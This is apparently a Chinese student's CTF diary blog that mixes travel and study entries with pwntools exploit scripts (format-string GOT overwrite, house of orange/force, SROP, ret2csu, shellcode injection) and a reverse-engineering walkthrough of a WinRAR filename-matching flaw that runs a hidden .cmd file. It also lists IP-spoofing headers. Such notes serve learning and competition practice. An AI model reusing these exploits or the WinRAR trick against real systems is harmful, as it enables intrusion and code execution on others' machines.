aaaaaaaa-0x7f3e313a1400-0x2d70252d70252d70-0xa7025-0x7f3e313a1448-(nil)-0x8080808080-0x2c6f242c6f242c6f-0x7f3e313a13e0-0x7f3e30a48a00-0x400888-0x4008c0-0x7f3e313a13e0-0x4b30a489ac-0x6161616161616161-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70

exp

from pwn import *

context(arch='aarch64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('120.79.91.95', 3332)
else:
    r = process(["qemu-aarch64", "-g", "1234", "./pwn"])

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

p = fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
r.send(p)

r.interactive()

aarch64

环境构建

#必要环境
sudo apt update && sudo apt install -y make ninja-build pkg-config libglib2.0-dev bison flex
#安装qemu
wget https://download.qemu.org/qemu-9.0.1.tar.xz
tar xvJf qemu-9.0.1.tar.xz
cd qemu-9.0.1
./configure
make -j8
sudo make install

运行程序

-g指定端口,-L指定动态链接库,静态链接的程序无需该参数

qemu-aarch64 -g 1234 -L ./libc/libc/lib ./pwn

调试

gdb-multiarch -q ./pwn
set architecture aarch64
set endian little
add-symbol-file ./libc/libc/lib/libc-2.21.so
#连接到正在运行的pwn,端口为qemu指定的端口
target remote localhost:1234

脚本调试

from pwn import *
context(arch='aarch64', os='linux', log_level='debug')
r = process(["qemu-aarch64", "-g", "1234", "./pwn"])

#7-17-#7.22

电脑祭天…之前在干啥我也不记得了,记录一下电脑祭天前逆的WinRar

释放到临时目录

sub_1400EF508函数:

  • result = sub_1400E7F34(L"Rar$DI", v19, 2048i64, a4); 在Temp目录创建了临时目录Rar$DIa19832.13485DIa后面的数字随机)

  • sub_1400097E8(&unk_1401BA630, &szShortPath, 2048i64); 获取打开的压缩包所在文件路径到szShortPath

  • sub_140009290(&unk_1401BA630, 0i64, 0i64);将文件释放到临时目录

__int64 __fastcall sub_140009290(__int64 a1, char a2, __int64 a3)
{
	...
	if ( !byte_14018A806 )
	  {
	    if ( byte_1401A25E8 )
	      sub_14000A650(a1);
	    else
	      sub_14000A5A4(a1);
	  }
	  ...
}
sub_1400EF508->sub_140009290->sub_14000A650
__int64 __fastcall sub_14000A650(__int64 a1)
{
  __int64 v1; // rcx

  v1 = *(_QWORD *)(a1 + 8i64 * dword_1401A4928 + 8);
  return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v1 + 56i64))(v1);
}

通过return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v1 + 56i64))(v1); 跳转到sub_1400D6070 开始遍历szShortPath路径文件下的所有文件

//0x1400D6070
__int64 cmp()
{
  ...
  if ( (unsigned int)set_start_pos() )
    return 8i64;
  v1 = (int)call_cmp_name();
  ...
}

cmp调用set_start_pos() 函数创建一块区域存放压缩包中的所有文件名

//0x1400D6478
__int64 set_start_pos()
{
  ...
  start_pos = (char *)j__malloc_base(0x2004ui64);
  ...
}

cmp调用call_cmp_name 函数开始遍历文件名到deFileName并且与点击的文件名click_name比较

call_cmp_name函数调用write_filenames函数向start_pos区域中写压缩包中的所有文件,再调用cmp_name_1进一步比较

//0x1400D3474
__int64 call_cmp_name()
{
  ...
  v0 = write_filenames();
  ...
    LODWORD(v1) = cmp_name_1(v2);
  ...
}

cmp_name_1循环遍历start_pos区域中的所有文件名并且调用cmp_name_2 继续比较

//0x1400CEBF4
__int64 __fastcall cmp_name_1(__int64 a1)
{
  ...
  while ( !(unsigned __int8)sub_1400AE9EC() )
  {
    ...
    while ( v1 < 64 || byte_1401EA658 )
    {
      ...
      if ( !(unsigned int)cmp_name_2((unsigned int)&dword_14019B530, (unsigned int)v117, 0, v20, 0, 0i64, 0) )
        goto LABEL_69;
      ...
    }
    ...
  }
  ... 
}

继续套…cmp_name_2 获取了deFileName和click_name并且调用了compare函数进行最终的比较,其中click_name是在获取点击的文件 部分获取的,放到后面分析

//0x140077054
__int64 __fastcall cmp_name_2(__int64 a1, __int64 a2, bool *a3, unsigned int a4, char a5, _WORD *a6, unsigned int a7)
{
  ...
  deFileName = (const WCHAR *)(a2 + 40);
  ...
          click_name = sub_1400AC0CC(v15);
          ...
          if ( (unsigned __int8)compare(click_name, deFileName, a4) )
          ...
}

最重要的部分:compare函数,比较的逻辑是click_namedeFileNamedeFileName\\\\deFileName/相同都可以匹配成功,即匹配同名的文件或文件夹,而释放的时候遇到文件夹会将文件夹下的所有文件释放的临时目录,因此点击poc.txt 的时候匹配到poc.txtpoc.txt \\,从而释放了poc.txt 以及poc.txt \\poc.txt .cmd ,释放的同时会保存文件路径,作为后续执行函数的参数结构体的lpFile

//0x140089948
char __fastcall compare(WCHAR *click_name, WCHAR *deFileName, int a3)
{
  ...
  if ( (_WORD)a3 )
  {
    v7 = -1i64;
    tName_len = -1i64;
    do
      ++tName_len;
    while ( click_name[tName_len] );
    if ( (unsigned int)(unsigned __int16)a3 - 2 > 2 )
    {
      if ( a3 >= 0 )
        v9 = sub_1400AF168(click_name, deFileName);
      else
        v9 = wcsncmp(click_name, deFileName, tName_len);
      if ( !v9 )
      {
        tail = deFileName[tName_len];
        if ( tail == '\\\\' || tail == '/' || !tail )
          return 1;
      }
      if ( v3 == 1 )
        return 0;
    }
    ...
}

获取点击的文件名

WinMain中循环调用process_message处理消息

//0x140102524
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  ...
                  while ( (unsigned __int8)process_message(0i64, 0i64) )
                    ;
   ...
}

process_message 获取消息并且根据不同的消息值进行不同的操作,除了message=0x100/0x205/0xA5/0x203,其他值会跳转到LABEL_63执行DispatchMessageW。当Msg.message==0x201即获取到鼠标左击的消息时通过USER32.dll中的函数进行一系列处理,获取左击的文件,即click_name

当光标位于窗口工作区中并且用户按下鼠标左键时发布。 如果未捕获鼠标,则消息将发布到光标下方的窗口。 否则,消息将发布到捕获了鼠标的窗口。#define WM_LBUTTONDOWN 0x0201

//0x140101938
bool __fastcall process_message(HWND hDlg, HWND hWnd)
{
  ...
  MessageW = GetMessageW(&Msg, 0i64, 0, 0);
  if ( MessageW )
  {
    ...
    if ( !Msg.hwnd )
    {
LABEL_63:
      TranslateMessage(&Msg);
      DispatchMessageW(&Msg);
      goto LABEL_64;
    }
    ...
    if ( qword_14018A7E0 )
    {
      ...
          goto LABEL_63;
        }
...
}

执行

USER32.dll 处理完点击文件消息获取click_name 后继续处理消息,sub_1400FFEF0→sub_140059AC0→process4(sub_140059574 )

process4函数调用了call_Release函数进行释放,接着调用sub_140106678进一步调用到执行的函数

//0x140059574
unsigned __int64 __fastcall process4(__int64 a1, unsigned int a2)
{
  ...
    if ( byte_14018A804 )
    {
      if ( !(unsigned __int8)call_Release(v24, 2048i64) )
        return sub_14006246C(0i64);
    }
    ...
        if ( a2 == 2 || v4 )
        {
          LOBYTE(v16) = v4;
          LOBYTE(v15) = byte_14018A804;
          sub_140106678(&unk_14018B87C, v24, v15, v16);
        }
        ...
}

经过sub_140106678→sub_140103668→Execute 最终调用到ShellExecuteExW 执行文件,其中结构体SHELLEXECUTEINFOW pExecInfo 的参数lpFile即为要执行的文件路径

char __fastcall Execute(__int64 a1, const WCHAR *a2, const WCHAR *a3, const WCHAR *a4, char a5, _QWORD *a6, const WCHAR *a7)
{
  ...
  SHELLEXECUTEINFOW pExecInfo; // [rsp+20h] [rbp-E0h] BYREF
  char Buffer[8192]; // [rsp+90h] [rbp-70h] BYREF
  ...
    if ( pExecInfo.lpVerb )
    {
      pExecInfo.lpVerb = 0i64;
      v12 = ShellExecuteExW(&pExecInfo);
    }
  }
  ...
}

可以看到传入的就是poc.txt ,而最后执行的是poc.txt \\poc.txt .cmd ,需要进一步分析ShellExecuteExW,该函数位于SHELL32.dll ,调试的时候会自动下载调试符号

ShellExecuteExW 执行过程:借个图

__int64 __fastcall shlwapi_PathFileExistsAndAttributesW(__int64 a1, _DWORD *a2)
{
  unsigned int v2; // esi
  unsigned int v5; // ebp
  int v6; // eax
  int v8; // eax
  __int64 v9; // [rsp+20h] [rbp-268h] BYREF
  __int64 v10; // [rsp+28h] [rbp-260h] BYREF
  __int128 v11; // [rsp+30h] [rbp-258h]
  __int64 v12; // [rsp+40h] [rbp-248h]
  __int128 v13; // [rsp+48h] [rbp-240h]
  int v14; // [rsp+58h] [rbp-230h] BYREF
  char v15[512]; // [rsp+60h] [rbp-228h] BYREF

  v2 = 0;
  if ( a2 )
    *a2 = -1;
  if ( a1 )
  {
    v5 = ((__int64 (__fastcall *)(__int64))kernelbase_SetErrorMode)(1i64);
    v6 = ((__int64 (__fastcall *)(__int64))kernelbase_GetFileAttributesW)(a1);
    if ( a2 )
      *a2 = v6;
    if ( v6 != -1
      || ((unsigned int)((__int64 (__fastcall *)(__int64))kernelbase_PathIsUNCServerW)(a1)
       || (unsigned int)((__int64 (__fastcall *)(__int64))kernelbase_PathIsUNCServerShareW)(a1))
      && ((v10 = 2i64,
           v12 = a1,
           v14 = 512,
           v9 = 0i64,
           v11 = 0i64,
           v13 = 0i64,
           (v8 = ((__int64 (__fastcall *)(__int64 *, char *, int *, __int64 *))unk_7FFA77D8B3AD)(&v10, v15, &v14, &v9)) == 0)
       || v8 == 234) )
    {
      v2 = 1;
    }
    ((void (__fastcall *)(_QWORD))kernelbase_SetErrorMode)(v5);
  }
  return v2;
}
unsigned __int16 *__fastcall kernelbase_PathFindExtensionW(unsigned __int64 a1)
{
  unsigned __int16 *v2; // r8
  unsigned __int64 v3; // rdx
  unsigned __int16 *result; // rax
  unsigned __int16 v5; // cx

  if ( !a1 )
    return 0i64;
  v2 = 0i64;
  v3 = a1 + 0x10000;
  result = (unsigned __int16 *)a1;
  if ( a1 >= a1 + 0x10000 )
    return (unsigned __int16 *)(a1
                              + 2i64
                              * (int)((__int64 (__fastcall *)(unsigned __int64, unsigned __int64, unsigned __int16 *))kernelbase_lstrlenW)(
                                       a1,
                                       v3,
                                       v2));
  while ( 1 )
  {
    v5 = *result;
    if ( !*result )
      break;
    if ( v5 <= 0x5Cu )
    {
      if ( v5 == 46 )
      {
        v2 = result;
      }
      else if ( v5 == '\\\\' || v5 == ' ' )
      {
        v2 = 0i64;
      }
    }
    if ( (unsigned __int64)++result >= v3 )
      return (unsigned __int16 *)(a1
                                + 2i64
                                * (int)((__int64 (__fastcall *)(unsigned __int64, unsigned __int64, unsigned __int16 *))kernelbase_lstrlenW)(
                                         a1,
                                         v3,
                                         v2));
  }
  if ( v2 )
    return v2;
  return result;
}

#7.23

被电脑祭天搞怕了,清理了一天手机电脑,备份之后写了个新生手册准备招新(救命高中语文学了全忘了已经不会措辞了。噢还写了个题但是没写出来呜呜

#7.24

改队规,补之前的日报…做了很多杂事嗯,不一一列举啦,明天开始把winrar分析完然后准备出去旅游啦,旅游的时候有时间继续逆向

#7.25-#8.7

逆向卡在一个循环…这段时间主要是陪宝宝然后去西安和上海旅游啦,那就浅浅记录一下吧

7.25-7.28

宝宝从广州特地来盐城找我玩了四天,提前给他准备了点生日惊喜嘿嘿,第一次打气球,尽力了orz

一起去吃了889的自助牛排和宝龙的奎梨烤肉,去五洲国际看了《你的名字》,去吃了盐城鸡蛋饼,还去实验室玩了一圈,期待下次见面

7.29-8.7

去西安旅游,玩了很多地方,最后去上海看了柯南30周年展。自从上了高中疫情之后也是四年没有旅游过啦,以后估计也很难又机会旅游。虽然耽误了很多学习时间,但感觉还不错。

华山、大唐芙蓉园

大唐不夜城

骡马市步行街

陕西历史博物馆、秦始皇陵

柯南30周年展

#8.8

今天补觉补了挺久…睡醒补了前面的日报,写了一道爆破canary的题,然后收拾房间(为什么我的房间这么多东西!!)。题目就不放了

#8.9

复现2024极客少年的pwn,重学了一下house of orangehouse of force,回头还要把house系列重学一遍

house of force

适用libc版本:2.23 2.27

使用前提:

1、申请堆块的大小不受限制

2、能够篡改top chunksize

3、有top chunk原本的地址和目的地址

PS:有偏移可以不用具体地址

利用:改top chunk size-1,申请堆块大小为target - 0x20 - top chunk address,可以将top chunk更新到target处,再次申请可以任意写target位置

orangeforce

house of orange + house of force,无editdelete,限制创建堆块数量六个,可以溢出8字节,创建堆块之前还要先创建一个character才能去创建堆。

先利用house of orange缩小top chunk的大小,但要保证修改的大小加上top chunk的地址最后三位为0,再创建一个比top chunk size更大的堆使得top chunk被释放进unsorted bin,此时得到libc地址,最后申请一个堆获得堆地址

泄露完地址再利用house of force,改top chunk size-1,再申请target - top_chunk - 0x20大小的堆,使得top chunk落在target,这里需要改malloc_hook,但是直接改malloc_hookogg不能打通,所以需要利用realloc_hook,即使top chunk落在realloc_hook,最后申请一个堆改realloc_hookogg、改malloc_hookrealloc + 2

此时已经用掉了六个堆,还需要创建一次堆触发ogg,利用scanf输入很长一段字符串可以导致scanf内部扩展缓冲区,从而调用init_malloc来分配更大的空间导致malloc_consolidate的特性在scanf时输入很长的内容来malloc触发ogg

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add_c(name, STR, DEF, DEX, ACC, INT):
    r.sendlineafter(b'>', b'1')
    r.sendlineafter(b'Name', name)
    r.sendlineafter(b'STR', str(STR))
    r.sendlineafter(b'DEF', str(DEF))
    r.sendlineafter(b'DEX', str(DEX))
    r.sendlineafter(b'ACC', str(ACC))
    r.sendlineafter(b'INT', str(INT))

def add(size, content):
    r.sendlineafter(b'>', b'3')
    r.sendlineafter(b'Size', str(size))
    r.sendafter(b'Power', content)

def show(index):
    r.sendlineafter(b'>', b'4')
    r.sendlineafter(b'Index', str(index))

add_c(b'a', 1, 1, 1, 1, 1)

add(0x18, b'a' * 0x18 + p64(0xd81))
add(0x1000, b'a')

show(0)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b"\x00")) - 0x3ebca0
libc = ELF('./libc-2.27.so')

one = [0x4f2c5, 0x4f322, 0x10a38c]
ogg = libc_base + one[1]
realloc_hook = libc_base + libc.sym['__realloc_hook']
realloc = libc_base + libc.sym['realloc']

add(0x1d0, b'a')

show(2)
r.recvuntil(b'\x7f')
r.recv(7)
top_chunk = u64(r.recv(11)[-8:].ljust(8, b'\x00')) + 0x21920

add(0xb88, b'a' * 0xb88 + p64(0xffffffffffffffff))

size = realloc_hook - top_chunk - 0x20
add(size, b'a')
add(0x1000, b'a' * 0x8 + p64(ogg) + p64(realloc + 2))

r.sendlineafter(b'> ', b'0' * 0x1000)

r.interactive()

ezpwn

exec函数可以执行shellcode,但要通过isAdmin的判断,所以要先通过LoginisAdmin1Login中的passwordSuperSecurePassword123!,而要用Login首先要把v5改成0,所以通过Send Message to Admin功能溢出v4v5覆盖成0

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

r.sendlineafter(b'>', b'2')
r.sendlineafter(b'>', b'\x00' * 56)

r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Password', b'SuperSecurePassword123!\x00')

r.sendlineafter(b'>', b'4')
shellcode = asm(shellcraft.sh())
r.sendlineafter(b'Shellcode', shellcode)

r.interactive()

[CISCN_2019华南]PWN3

这题印象中以前写过,没有pie没有canary,一次读可以溢出,一次输出泄露地址,程序中有mov rax, 0Fh,第一反应就是srop,第一次读泄露栈地址,第二次读输入/bin/sh再利用srop

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

sigreturn = 0x4004DA
syscall = 0x400517
vuln = 0x4004F1

p = b'a' * 0x10 + p64(vuln)
r.sendline(p)

binsh = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x120

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

payload = b'/bin/sh\x00' * 2 + p64(sigreturn) + p64(syscall) + bytes(frame)
r.send(payload)

r.interactive()

还可以用ret2csu,泄露地址方式同上,再利用csu改寄存器,最后用mov rax, 3Bhexecve

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

execve = 0x4004E2
csu_end_addr = 0x400596
csu_front_addr = 0x400580
syscall = 0x400517
pop_rdi_ret = 0x00000000004005a3
vuln = 0x4004F1

p = p64(execve) + b'/bin/sh\x00' + p64(vuln)
r.sendline(p)
stack = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x128

payload = b'/bin/sh\x00' * 2
payload += p64(csu_end_addr) + p64(0) * 2 + p64(1) + p64(stack) + p64(0) * 2 + p64(stack + 0x8)
payload += p64(csu_front_addr) + p64(0) * 7
payload += p64(pop_rdi_ret) + p64(stack + 0x8) + p64(syscall)
r.send(payload)

r.interactive()

#8.10

重学了一下c++,明天把异常处理和命名空间看完再看看c的套接字编程

概念

标准库(standard library):提供IO机制,包括标准输入cin、标准输出cout、标准错误cerr、一般信息clog

std:::标准库的命名空间(namespace),指出名字是定义在std命名空间中的,避免名字冲突,其中::为作用域运算符

iostream库:包含istream(输入流)和ostream(输出流),一个流就是一个字符序列,是从IO设备读出或写入IO设备的,随着时间的推移,字符是顺序生成或消耗的

操纵符(endl):结束当前行,并将与设备关联的缓冲区(buffer)中的内容刷到设备中,保证到目前为止程序所产生的所有输出都真正写入输出流中,而不是仅停留在内存中等待写入流

文件重定向:将标准输入和标准输出与命名文件关联起来:addItems outfile ,加法程序已经编译为名为addItems的可执行文件,则上述命令会从一个名为infile的文件读取销售记录,并将输出结果写入到一个名为outfile的文件中

语法

条件运算符:cond?expr1:expr2;

读取数量不定的输入数据:while(std::cin >> value)

类型别名:typedef type1 type2;

显示转换:cast-name<type>(expression);

cast-name包括:

  • static_cast:任何具有明确定义的类型转换(除底层const)都可以使用,例如将较大算数类型赋值给较小类型,或找回存在于void*指针中的值

    void* p = &d;
    double *dp = static_base<double*>(p);
  • dynamic_case:支持运行时类型识别

  • const_cast:只能改变运算对象的底层const,将常量对象转换成非常量对象,一般称为去const性质,常用于有函数重载的上下文中

    const char *cp;
    char *q = static_case<char*>(cp);

try语句块和异常处理

throw:引发异常,表示遇到无法处理的问题

try:处理异常,以try开始并以一个或多个catch(异常处理代码)结束,try内声明的变量在块外部和catch语句中无法访问

runtime_errorwhat成员返回的是初始化一个具体对象时所用的string对象的副本

catch(runtime_error err){
	cout << err.what();
}

如果一段程序没有try语句块且发生了异常或没有匹配的catch子句,系统会调用terminate标准库函数终止当前程序的执行

标准库定义了一组用于报告标准库函数遇到的问题的异常类,包含在四个头文件中:

  • exception:定义了最通用的异常类exception,只报告异常的发生不提供额外信息
  • stdexcept:定义了几种常用的异常类
    • runtime_error:只有在运行时才能检测出的问题
    • range_error:运行时错误:生成结果超出有意义的值域范围
    • overflow_error:运行时错误:计算上溢
    • underflow_error:运行时错误:计算下溢
    • logic_error:程序逻辑错误
    • domain_error:逻辑错误:参数对应的结果值不存在
    • invalid_argument:逻辑错误:无效参数
    • length_error:逻辑错误:试图创建一个超出该类型最大长度的对象
    • out_of_range:逻辑错误:使用一个超出有效范围的值
    • exception:最常见的问题
  • new:定义了bad_alloc异常类型
  • type_info:定义了bad_cast异常类型

只能以默认初始化的方式初始化exception、bad_alloc、bad_cast对象,不能提供初始值,其他异常类型应该使用string对象或C风格字符串初始化这些类型的对象,初始值含有错误相关的信息

throw std::runtime_error("Runtime error occurred");

每个标准库异常类都只定义了名为what的成员函数,返回值是C风格字符串(即const char*),提供关于异常的一些文本信息,如果异常类型有一个字符串初始值,what返回该字符串,其他类型由编译器决定

调试帮助

assert:一种预处理宏,assert(expr);,用于检查不能发生的条件

__func__:输出当前调试的函数的名字

__FILE__:存放文件名的字符串字面值

__LINE__:存放当前行号的整型字面值

__TIME__:存放文件编译时间的字符串字面值

__DATE__:存放文件编译日期的字符串字面值

if(word.size() < threshold)
	cerr << "Error: " << __FILE__ << " : in function " << __func__
		 << " at line " << __LINE__ << endl
		 << " Compiled on " << __DATE__ << " at " 
		 << __TIME__ << endl << " Word read was \"" << word
		 << "\":Length too short" << endl;
Error:wdebug.cc : in function main at line 27 
                  Compiled on Ujl 11 2-12 at 20:50:03 
                  Word read was "foo":Length too short

构造函数

控制对象的初始化过程,只要类的对象被创建就会执行构造函数。类可以包括多个构造函数,类似重载函数,不同构造函数必须在参数数量或类型上有区别。构造函数不能声明成const

struct Sales_data{
	Sales_data() = default;	//默认构造函数,const成员必须初始化
	Sales_data(const std::string &s): bookNo(s) {}
    //等价于Sales_data(const std::string &s): bookNo(s), unite_sold(0), revenue(0){}
	Sales_data(const std::string &s, unsigned n, double p):
		       bookNo(s), units_sold(n), revenue(p*n){}
    //冒号及冒号与花括号之间的是构造函数初始值列表
	Sales_data(std::istream &);
    //在类的外部定义构造函数
    //Sales_data::Sales_data(std::istream &is){
    //	read(is, *this);
    //}
    //Sales_data::Sales_data表示定义Sales_data类成员,名字是Sales_data
	
	std::string isbn() const {return bookNo;}
	Sales_data& combine(const Sales_data&);
	double avg_price() const;
	std::string bookNo;
	unsigned units_sold = 0;
	double revenue = 0.0;
}

析构函数

释放对象使用的资源,并销毁对象的非static数据成员,是类的一个成员函数,名字由波浪号接类名构成

class Foo{
public:
	~Foo();
	...
};

#8.11

写了道题,看了些c++的异常处理和命名空间,感觉没什么很重要需要记的东西,重在理解吧反正不搞开发(bushi

#8.12

嗯..还在学c++,写了道题,就不记录啦,反正c++就学到这里。明天开始学套接字编程,把编程基础补上,python的基础以后再说。

#8.13

一题写了一天…唉同一个问题反复犯。晚上打开moectf写了俩web

Web渗透测试与审计入门指北

phpstudy搭了个网站拿到flag

弗拉格之地的入口

dirsearch扫到robots.txt,提示

# Robots.txt file for xdsec.org

# only robots can find the entrance of web-tutor

User-agent: *

Disallow: /webtutorEntry.php

访问webtutorEntry.php得到flag

后来发现robots.txt就是用于告诉搜索引擎爬虫哪些页面可以抓取,那题目提示的就很明显了

#8.14

装了ida 9和一些web工具:dirsearch、hackbar、 ProxySwitchyOmega,Wappalyzer ,写了一道题,开始下一个逆向目标,解包了固件,没找到目标文件在哪

ez_http

  1. Referer:

    指示一个请求是从哪个页面发起的,参数是一个url

  2. User Agent:

    User Agent是一个字符串,用于描述发出HTTP请求的浏览器或客户端类型和版本。

    例如:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3。

  3. Cookies:

    Cookies是服务器发送到客户端浏览器的小型数据片段,用于存储信息,如用户偏好、会话标识等。浏览器会存储这些Cookies,并在随后的请求中自动发送给服务器,以便服务器识别用户并保持状态

  4. GET请求

    用途:用于请求服务器发送资源

    数据传输:通过URL传递数据,数据附加在URL后面,形成查询字符串,以访问url?xx=xx的形式进行get请求

    缓存:GET请求可以被浏览器缓存,请求的数据会保存在浏览器历史记录中

    安全性:由于数据暴露在URL中,因此GET请求不适合传输敏感信息

  5. POST请求

    用途:用于向服务器提交数据进行处理,例如表单提交或上传文件

    数据传输:数据在请求体中发送,不会显示在URL中

    python中用post请求参数是data,post中加get请求用params

    import requests
     
     url = 'http://127.0.0.1:60568'
     
     post_data = {
         'animateButton': 'Hit the question setter',
         'imoau': 'sb',
     }
     
     get_params = {'xt': '大帅b'}
     
     response = requests.post(url, data=post_data, params=get_params)
     
     print(response)

    bp:提交POST请求, 需要比GET请求多提供几个请求头, 其中最重要的一个是Content-Type: application/x-www-form-urlencodedpost多个参数用&连接,get请求在post后面以/?xx=xx的形式

其他头:

origin:指示请求从哪个源(origin)发起,参数是url
//伪造本地ip
X-Forwarded-For: 127.0.0.1 
X-Originating-IP: 127.0.0.1 
X-Remote-IP: 127.0.0.1 
X-Remote-Addr: 127.0.0.1 
X-Client-IP: 127.0.0.1

最终请求:

POST /?xt=%e5%a4%a7%e5%b8%85b  HTTP/1.1
Host: 127.0.0.1:60568
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: MoeDedicatedBrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://www.xidian.edu.cn/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=admin
X-Forwarded-For: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

imoau=sb&animateButton=Hit the question setter

网站结构

/ (根目录):网站的主目录,通常包含首页文件和其他重要文件。
/assets 或 /static:用于存放静态资源,如JavaScript、CSS和图像文件。
/css:专门存放CSS样式表文件。
/js:存放JavaScript脚本文件。
/img 或 /images:存放网站使用的图像资源。
/fonts:如果网站使用自定义字体,这个文件夹用于存放字体文件。
/uploads:用户上传的文件通常会被保存在这个目录。
/lib 或 /vendor:第三方库或依赖的文件夹,例如jQuery、Bootstrap等。
/plugins:如果网站使用插件系统,这个文件夹用于存放插件文件。
/includes 或 /inc:包含一些被多个页面或脚本包含的通用代码片段。
/templates 或 /views:如果网站使用模板引擎,这个文件夹存放模板文件。
/partials:存放模板的片段,可以被模板引擎重用。
/content 或 /data:存放网站的内容文件,如Markdown或HTML文件。
/admin:后台管理界面的文件夹。
/cache:用于存放缓存文件,以提高网站性能。
/logs:存放日志文件,记录网站的运行情况和错误信息。
/config:存放配置文件,如数据库配置、服务器配置等。
/bin:存放编译或二进制文件。
/tests:如果网站包含自动化测试,测试脚本和测试数据会存放在这个文件夹。
/docs:存放项目文档,如开发文档、用户手册等。
/backups:存放网站的备份文件。
/src 或 /source:如果网站使用构建工具,源代码会存放在这个文件夹。
/dist 或 /build:存放构建或编译后的文件,这些文件是最终提供给用户访问的。
/.well-known(或在根目录下):存放一些协议要求的特殊文件,如/.well-known/acme-challenge用于HTTPS的Let's Encrypt证书验证。
index.html:主页文件,通常作为网站的入口点。当用户访问网站时,默认访问的就是这个文件。
404.html:错误页面,当用户请求的页面不存在时,服务器会显示这个页面。
robots.txt:用于告诉搜索引擎爬虫哪些页面可以抓取,哪些不可以。
sitemap.xml:网站地图,列出了网站中所有页面的URL,帮助搜索引擎更好地索引网站。
favicon.ico:网站的图标,通常显示在浏览器的标签页上。
CSS文件:层叠样式表(Cascading Style Sheets)文件,用于定义网站的布局和样式。
JavaScript文件(如 script.js):用于实现网站的动态功能和交互效果。
图像文件(如 logo.png、banner.jpg):网站上使用的图像资源,用于增强视觉效果。
服务器端脚本(如 index.php、config.py):用于生成动态内容,处理表单提交等。
数据库文件(如 database.sql 或通过数据库管理系统存储):存储网站的数据,如用户信息、文章内容等
配置文件(如 config.php、settings.ini):包含网站的配置信息,如数据库连接信息、服务器设置等。
资源文件夹(如 /images、/css、/js):用于存放静态资源文件,如图片、样式表、脚本等
内容管理系统(CMS)文件(如果使用CMS):如果网站使用CMS,如WordPress、Joomla等,会包含CMS的核心文件和插件。
插件/扩展文件:如果网站使用了插件或扩展,这些文件会提供额外的功能。
临时文件/缓存(如 .tmp、.cache):用于存储临时数据或缓存,提高网站性能。
备份文件:网站的备份,用于数据恢复。
文档和说明文件(如 README.md、LICENSE):提供关于网站的说明和使用协议。

#8.15

感冒发烧,一下吃了四五种药,晕死,写了几题又睡了半天唉

写了个basepwn然后写了俩baseweb和一个moeweb,整理了一下web的笔记,笔记就不放了,都是些入门的

好饿啊,吃了点东西全吐了,谁能莫名其妙给我点个KFC(bushi

emmmm放没结束的比赛的exp会不会不太好,但应该没什么人看我博客吧(((

我把它弄丢了

binshsystem

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('challenge.basectf.fun', 47078)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

binsh = 0x402008 
shell = 0x40120F
